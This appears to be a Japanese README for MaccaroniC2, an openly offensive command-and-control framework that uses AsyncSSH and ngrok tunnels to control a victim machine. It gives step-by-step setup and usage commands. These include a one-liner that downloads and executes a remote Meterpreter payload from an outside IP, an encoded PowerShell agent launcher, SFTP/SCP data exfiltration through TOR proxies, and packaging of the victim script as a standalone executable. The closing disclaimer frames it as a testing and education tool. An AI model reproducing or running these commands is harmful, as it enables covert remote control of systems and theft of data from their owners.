
SSHv2プロトコルの非同期クライアントおよびサーバー実装を提供する強力なAsyncSSH Pythonライブラリと、ngrok統合用のPyNgrokラッパーを利用したProof-of-ConceptのCommand & Controlフレームワークです。

MaccaroniC2は、概念実証のコマンド&コントロールフレームワークであり、強力なAsyncSSH Pythonライブラリを利用しています。このライブラリはSSHv2プロトコルの非同期クライアントおよびサーバー実装を提供し、ngrok統合用のPyNgrokラッパーも使用しています。このツールは、被害者がAsyncSSHサーバーを実行し、外部へのトンネルを確立して攻撃者からのコマンドを受け取る準備ができているという特定のシナリオに着想を得ています。
攻撃者はNgrok公式APIを利用して接続を確立するためのトンネルのホスト名とポートを取得します。このアプローチは、AsyncSSHが提供する包括的な機能、特にSFTPおよびSCPの統合サポートを活用し、安全かつ効率的なデータの外部持ち出しなどを容易にします。
さらに、攻撃者はSOCKSプロキシを使用してシステムコマンドを送信・実行でき、例えばTORを使用して匿名性を高めるといった利点を活用できます。
python3 gen_rsa.pyを実行してSSH鍵ペアを生成します。新しく生成されたid_rsaは、攻撃者が被害者のマシンで実行されているサーバーに接続するために使用されます。
asyncssh_server.pyファイルを編集し、新しく生成されたid_rsa.pubの内容をpub_key変数内に配置します。asyncssh_server.pyはSFTPおよびSCP機能を備えたSSHv2プロトコルの実装を提供します。これが被害者によって実行されるスクリプトです。
Ngrokサイトで無料アカウントを作成し、AUTHトークンをメモします。
asyncssh_server.pyのtoken変数にAUTHトークンを追加します。これはngrok_tunnel()関数内にハードコードする必要があります。
Ngrokウェブサイトで無料のAPIキーを作成します。生成された文字列をメモします。
async_commander.pyファイル内の変数にキー文字列を入れます。これにより、自動化中にアクティブなトンネルのNgrokドメインとポートを自動的に取得できるようになります。
async_commander.pyを使用すると、任意のコマンドをサーバーに送信できます。Ngrok公式APIを使用して被害者によってアクティブ化されたNgrokトンネルのドメインとポートを自動的に要求します。
また、id_rsaはasync_commander.pyと同じフォルダにある必要があることに注意してください。
被害者のマシンでサーバーを実行:
python3 asyncssh_server.py
攻撃者のマシンからSOCKSプロキシを使用してコマンドを送信:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
プロキシを使用せずにコマンドを送信:
python3 asyncssh_commander.py "whoami"
別のC2エージェント(Powershell-Empire、Meterpreterなど)を起動:
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_deliveryモジュール
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
アクティブなトンネルのリストを取得:
python3 get_endpoints.py
新しいRSA鍵ペアを生成:
python3 gen_rsa.py
SFTPおよびSCPの使用 - 有効なユーザー名は不要で、正しいid_rsaのみが必要です。
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
詳細については、関連記事を参照してください:https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
免責事項:このツールはテストおよび教育目的のみを意図しています。適切な許可を得たシステムでのみ使用すべきです。許可なくまたは違法にこのツールを使用することは固く禁じられています。このツールの作成者は、その使用による誤用や損害について一切の責任を負いません。このツールを使用する際は、適用される法律および規制を遵守してください。また、このツールと組み合わせたNgrokの使用は、特定のプラットフォームの利用規約やポリシーに違反する可能性があることに注意してください。アカウントの停止や障害を避けるために、各プラットフォームやサービスの利用規約を確認し、遵守することをお勧めします。
api_keyAPIget_endpoints.pyファイルについても同じ手順を実行します。このスクリプトはアクティブなトンネルに関するさまざまな有用な情報を取得します。